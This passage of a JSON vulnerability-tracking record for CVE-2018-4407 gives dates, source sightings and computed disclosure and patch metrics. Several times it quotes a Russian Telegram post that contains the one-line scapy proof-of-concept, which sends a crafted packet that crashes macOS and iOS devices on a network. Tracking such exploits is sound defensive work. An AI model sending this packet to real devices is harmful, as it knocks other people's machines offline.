"containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2023-06-12T07:15:00Z", "date_only": false, "value": "2023-06-12T07:15Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2018-4407", "record": "GSD-2018-4407", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2023-06-12T07:15:10.957Z", "date_only": false, "value": "2023-06-12T07:15:10.957000", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-201904-1367", "record": "VAR-201904-1367", "field": "sources_update_date.data.5.date"}, {"timestamp": "2023-06-13T00:00:00Z", "date_only": false, "value": "2023-06-13T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-201904-1367", "record": "VAR-201904-1367", "field": "sources_update_date.data.6.date"}, {"timestamp": "2023-12-13T01:22:28.232Z", "date_only": false, "value": "2023-12-13T01:22:28.232877Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2018-4407", "record": "GSD-2018-4407", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-01-03T11:54:28.769Z", "date_only": false, "value": "2024-01-03T11:54:28.769000Z", "kind": "other", "label": "Last update date", "source": "variot \u00b7 VAR-201904-1367", "record": "VAR-201904-1367", "field": "last_update_date"}, {"timestamp": "2024-08-05T05:11:22.877Z", "date_only": false, "value": "2024-08-05T05:11:22.877Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2018-4407", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-08-05T05:11:22.877Z", "date_only": false, "value": "2024-08-05T05:11:22.877Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2018-4407", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-06-17T01:58:55.820Z", "date_only": false, "value": "2026-06-17T01:58:55.820", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2018-4407", "record": "FKIE_CVE-2018-4407", "field": "lastModified"}, {"timestamp": "2026-07-03T18:17:09.765Z", "date_only": false, "value": "2026-07-03T18:17:09.765903Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/golangoss.bsky.social/post/3mpr5rgqnyc2r", "record": "cve-2018-4407", "field": "creation_timestamp", "uuid": "8425cef0-6acf-4e43-9f7c-c21d83fda1fb", "content": "cve-2018-4407 (\u2b50\ufe0f 46)\n\nCrash macOS and iOS devices with one packet\n\n#go", "url": "https://bsky.app/profile/golangoss.bsky.social/post/3mpr5rgqnyc2r"}, {"timestamp": "2026-07-26T07:01:51.505Z", "date_only": false, "value": "2026-07-26T07:01:51.505701Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/KaitNews/8136", "record": "CVE-2018-4407", "field": "creation_timestamp", "uuid": "fe2a99a9-4637-404f-8f5b-e182f7967e0a", "content": "\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0633\u0628 \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0633\u06cc\u0633\u062a\u0645\u200c\u0639\u0627\u0645\u0644 \u0645\u06a9 High Sierra \u0648 iOS \u06f1\u06f1 \u062f\u0631 \u06cc\u06a9 \u0634\u0628\u06a9\u0647\n\n\u0627\u062e\u06cc\u0631\u0627 \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06a9\u0644\u06cc\u067e\u06cc \u0627\u0632 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 CVE-2018-4407 \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\u0647 \u0627\u0646\u062f \u06a9\u0647 \u0628\u0627\u0639\u062b Crash \u06a9\u0631\u062f\u0646 \u0647\u0631 macOS High Sierra \u0648 \u06cc\u0627 iOS 11 \u06a9\u0647 \u0628\u0647 \u06cc\u06a9 \u0634\u0628\u06a9\u0647 \u0648\u0627\u06cc\u200c\u0641\u0627\u06cc \u06cc\u06a9\u0633\u0627\u0646 \u0645\u062a\u0635\u0644 \u0634\u062f\u0647 \u0627\u0646\u062f \u0645\u06cc\u200c\u0634\u0648\u062f.\n\n\u0628\u0631\u0627\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u06cc\u0634\u062a\u0631 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0647 \u0644\u06cc\u0646\u06a9 \u0630\u06cc\u0644 \u0645\u0631\u0627\u062c\u0639\u0647 \u0646\u0645\u0627\u06cc\u06cc\u062f :\n\nhttps://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407\n\n@KaitNews", "url": "https://t.me/KaitNews/8136"}, {"timestamp": "2026-07-29T03:00:04.338Z", "date_only": false, "value": "2026-07-29T03:00:04.338548Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/KaitNews/8136", "record": "CVE-2018-4407", "field": "creation_timestamp", "uuid": "d58216a0-1f9d-415e-87c9-49e72ca33ff6", "content": "\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0633\u0628 \u062f\u0633\u062a\u0631\u0633\u06cc \u0627\u0632 \u0633\u06cc\u0633\u062a\u0645\u200c\u0639\u0627\u0645\u0644 \u0645\u06a9 High Sierra \u0648 iOS \u06f1\u06f1 \u062f\u0631 \u06cc\u06a9 \u0634\u0628\u06a9\u0647\n\n\u0627\u062e\u06cc\u0631\u0627 \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06a9\u0644\u06cc\u067e\u06cc \u0627\u0632 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 CVE-2018-4407 \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\u0647 \u0627\u0646\u062f \u06a9\u0647 \u0628\u0627\u0639\u062b Crash \u06a9\u0631\u062f\u0646 \u0647\u0631 macOS High Sierra \u0648 \u06cc\u0627 iOS 11 \u06a9\u0647 \u0628\u0647 \u06cc\u06a9 \u0634\u0628\u06a9\u0647 \u0648\u0627\u06cc\u200c\u0641\u0627\u06cc \u06cc\u06a9\u0633\u0627\u0646 \u0645\u062a\u0635\u0644 \u0634\u062f\u0647 \u0627\u0646\u062f \u0645\u06cc\u200c\u0634\u0648\u062f.\n\n\u0628\u0631\u0627\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u06cc\u0634\u062a\u0631 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0647 \u0644\u06cc\u0646\u06a9 \u0630\u06cc\u0644 \u0645\u0631\u0627\u062c\u0639\u0647 \u0646\u0645\u0627\u06cc\u06cc\u062f :\n\nhttps://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407\n\n@KaitNews", "url": "https://t.me/KaitNews/8136", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}], "metrics": {"as_of": "2026-10-29T02:04:35.995Z", "anchors": {"origin": {"timestamp": "2019-04-03T00:00:00Z", "date_only": false, "value": "2019-04-03T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2018-4407", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2019-04-03T00:00:00Z", "date_only": false, "value": "2019-04-03T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2018-4407", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": {"timestamp": "2018-11-01T16:55:05Z", "date_only": false, "value": "2018-11-01T16:55:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/alexmakus/2490", "record": "CVE-2018-4407", "field": "creation_timestamp", "uuid": "253e31ab-c0d4-4faf-8a8a-887c36867c5b", "content": "\u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u0430\u0440\u0443 \u0434\u043d\u0435\u0439 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0437\u0430\u043c\u0435\u0442\u043e\u043a \u043f\u0440\u043e \u0432\u0441\u044f\u043a\u0438\u0435 \u0432\u0435\u0449\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 Apple \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0441\u043e\u0431\u0440\u0430\u043b \u0438\u0445 \u0432\u0441\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u043f\u043e\u0441\u0442\u0435. \n\n\u0412\u0447\u0435\u0440\u0430 Apple \u043d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e \u0432\u044b\u043b\u043e\u0436\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441\u0442\u0430\u0442\u044c\u0438 \u043e \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0447\u0438\u0442\u0430\u0439 \u2014\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445) \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c. \u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u0432 \u0432 \u043a\u0430\u0436\u0434\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0442\u0443\u0442 https://support.apple.com/en-us/HT201222. \u042f \u0434\u0443\u043c\u0430\u044e, \u0447\u0442\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044c, \u0447\u0442\u043e \u0442\u0435\u0440\u043c\u0438\u043d \"arbitrary code\" \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u043c \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u0432 macOS 10.14 Mojave \u0434\u0432\u0430\u0434\u0446\u0430\u0442\u044c \u043e\u0434\u0438\u043d \u0440\u0430\u0437! \n\n\u0422\u0430\u043c \u0436\u0435 \u0438 \u0442\u0430\u043a\u0430\u044f \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u043d\u043e\u043c\u0435\u0440\u043e\u043c CVE-2018-4407 (https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407) \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f ICMP \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \"\u0437\u0430\u0432\u0430\u043b\u0438\u0442\u044c\" \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0435\u0442\u0438 \u041c\u0430\u043a \u0441 High Sierra \u0438 ios-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0441 iOS 11, \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043d\u0430 \u044d\u0442\u043e\u043c \u0432\u0438\u0434\u0435\u043e \u0432 \u0442\u0432\u0438\u0442\u0435 (https://twitter.com/kevin_backhouse/status/1057352656560287746):\n\n\u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u043e\u0436\u0435 \u0443\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0434\u0438\u043d \u0442\u0432\u0438\u0442:\npip install scapy\nsudo scapy \nsend(IP(dst=\u201cTarget IP\u201c,options=[IPOption(\u201cA\u201d*8)])/TCP(dport=2323,options=[(19, \u201c1\"*18),(19, \u201c2\u201d*18)]))\n\n\u041d\u0443 \u0438, \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e, \u043b\u044e\u0431\u0438\u0442\u0435\u043b\u0438 \u043f\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u043a\u0440\u0430\u043d \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 iOS, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u0430\u043c \u0432 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0432 \u0441\u0432\u0435\u0436\u0435\u0432\u044b\u0448\u0435\u0434\u0448\u0435\u0439 iOS 12.1:\nhttps://youtu.be/ojigFgwrtKs\n\n\u0428\u0430\u0433\u0438 \u0442\u0430\u043c \u043d\u0435 \u0441\u0430\u043c\u044b\u0435 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u044b\u0435, \u043d\u043e \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0439 \u043a\u043d\u0438\u0433\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043c\u043e\u0436\u043d\u043e. \u041c\u043d\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043a\u043e\u043c\u0443-\u0442\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Apple \u043d\u0435\u043f\u043b\u043e\u0445\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u043d\u0443\u0448\u0435\u043d\u0438\u0435, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043d\u0443 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0443\u0436\u0435, \u044d\u0442\u043e \u0434\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439.", "url": "https://t.me/alexmakus/2490", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": null, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": true, "seconds": -13158295.0, "hours": -3655.0819444444446, "days": -152.29508101851852, "min_seconds": -13244695.0, "max_seconds": -13158295.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": true, "start": {"timestamp": "2019-04-03T00:00:00Z", "date_only": false, "value": "2019-04-03T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2018-4407", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2018-11-01T16:55:05Z", "date_only": false, "value": "2018-11-01T16:55:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/alexmakus/2490", "record": "CVE-2018-4407", "field": "creation_timestamp", "uuid": "253e31ab-c0d4-4faf-8a8a-887c36867c5b", "content": "\u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u0430\u0440\u0443 \u0434\u043d\u0435\u0439 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0437\u0430\u043c\u0435\u0442\u043e\u043a \u043f\u0440\u043e \u0432\u0441\u044f\u043a\u0438\u0435 \u0432\u0435\u0449\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 Apple \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0441\u043e\u0431\u0440\u0430\u043b \u0438\u0445 \u0432\u0441\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u043f\u043e\u0441\u0442\u0435. \n\n\u0412\u0447\u0435\u0440\u0430 Apple \u043d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e \u0432\u044b\u043b\u043e\u0436\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441\u0442\u0430\u0442\u044c\u0438 \u043e \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0447\u0438\u0442\u0430\u0439 \u2014\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445) \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c. \u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u0432 \u0432 \u043a\u0430\u0436\u0434\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0442\u0443\u0442 https://support.apple.com/en-us/HT201222. \u042f \u0434\u0443\u043c\u0430\u044e, \u0447\u0442\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044c, \u0447\u0442\u043e \u0442\u0435\u0440\u043c\u0438\u043d \"arbitrary code\" \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u043c \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u0432 macOS 10.14 Mojave \u0434\u0432\u0430\u0434\u0446\u0430\u0442\u044c \u043e\u0434\u0438\u043d \u0440\u0430\u0437! \n\n\u0422\u0430\u043c \u0436\u0435 \u0438 \u0442\u0430\u043a\u0430\u044f \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u043d\u043e\u043c\u0435\u0440\u043e\u043c CVE-2018-4407 (https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407) \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f ICMP \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \"\u0437\u0430\u0432\u0430\u043b\u0438\u0442\u044c\" \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0435\u0442\u0438 \u041c\u0430\u043a \u0441 High Sierra \u0438 ios-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0441 iOS 11, \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043d\u0430 \u044d\u0442\u043e\u043c \u0432\u0438\u0434\u0435\u043e \u0432 \u0442\u0432\u0438\u0442\u0435 (https://twitter.com/kevin_backhouse/status/1057352656560287746):\n\n\u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u043e\u0436\u0435 \u0443\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0434\u0438\u043d \u0442\u0432\u0438\u0442:\npip install scapy\nsudo scapy \nsend(IP(dst=\u201cTarget IP\u201c,options=[IPOption(\u201cA\u201d*8)])/TCP(dport=2323,options=[(19, \u201c1\"*18),(19, \u201c2\u201d*18)]))\n\n\u041d\u0443 \u0438, \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e, \u043b\u044e\u0431\u0438\u0442\u0435\u043b\u0438 \u043f\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u043a\u0440\u0430\u043d \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 iOS, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u0430\u043c \u0432 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0432 \u0441\u0432\u0435\u0436\u0435\u0432\u044b\u0448\u0435\u0434\u0448\u0435\u0439 iOS 12.1:\nhttps://youtu.be/ojigFgwrtKs\n\n\u0428\u0430\u0433\u0438 \u0442\u0430\u043c \u043d\u0435 \u0441\u0430\u043c\u044b\u0435 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u044b\u0435, \u043d\u043e \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0439 \u043a\u043d\u0438\u0433\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043c\u043e\u0436\u043d\u043e. \u041c\u043d\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043a\u043e\u043c\u0443-\u0442\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Apple \u043d\u0435\u043f\u043b\u043e\u0445\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u043d\u0443\u0448\u0435\u043d\u0438\u0435, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043d\u0443 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0443\u0436\u0435, \u044d\u0442\u043e \u0434\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439.", "url": "https://t.me/alexmakus/2490", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 238989875.995014, "hours": 66386.07666528167, "days": 2766.0865277200696, "min_seconds": 238903475.995014, "max_seconds": 238989875.995014, "approximate": true, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2019-04-03T00:00:00Z", "date_only": false, "value": "2019-04-03T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2018-4407", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-10-29T02:04:35.995Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": true, "seconds": 252148170.995014, "hours": 70041.15860972612, "days": 2918.381608738588, "min_seconds": 252148170.995014, "max_seconds": 252148170.995014, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2018-11-01T16:55:05Z", "date_only": false, "value": "2018-11-01T16:55:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/alexmakus/2490", "record": "CVE-2018-4407", "field": "creation_timestamp", "uuid": "253e31ab-c0d4-4faf-8a8a-887c36867c5b", "content": "\u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u0430\u0440\u0443 \u0434\u043d\u0435\u0439 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0437\u0430\u043c\u0435\u0442\u043e\u043a \u043f\u0440\u043e \u0432\u0441\u044f\u043a\u0438\u0435 \u0432\u0435\u0449\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 Apple \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0441\u043e\u0431\u0440\u0430\u043b \u0438\u0445 \u0432\u0441\u0435 \u0432 